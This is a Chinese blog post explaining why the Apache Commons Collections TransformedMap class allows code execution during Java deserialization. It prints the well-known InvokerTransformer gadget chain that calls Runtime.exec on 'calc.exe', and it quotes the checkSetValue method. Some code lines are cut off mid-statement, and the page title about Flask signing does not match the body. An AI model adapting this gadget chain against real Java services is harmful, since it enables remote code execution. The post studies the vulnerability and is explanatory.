Flask接口签名sign原理与实例代码浅析
256
2022-10-10
java反序列化 - transformedMap类可以执行恶意代码的原理(java反序列化漏洞 修复)
java反序列化 - transformedMap类可以执行恶意代码的原理
0x00 代码
Map map=new HashMap();
map.put("key","value");
//调用目标对象的toString方法
String command="calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs)
};
Transformer transformer=new ChainedTransformer(transformers);
Map
0x01 transformedMap类为什么可以执行恶意代码?
通过上一篇可知ChainedTransformer的transformer方法可以执行恶意代码。上述代码的关键是:
for (Map.Entry
为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:
/**
* Override to transform the value when using setValue
.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~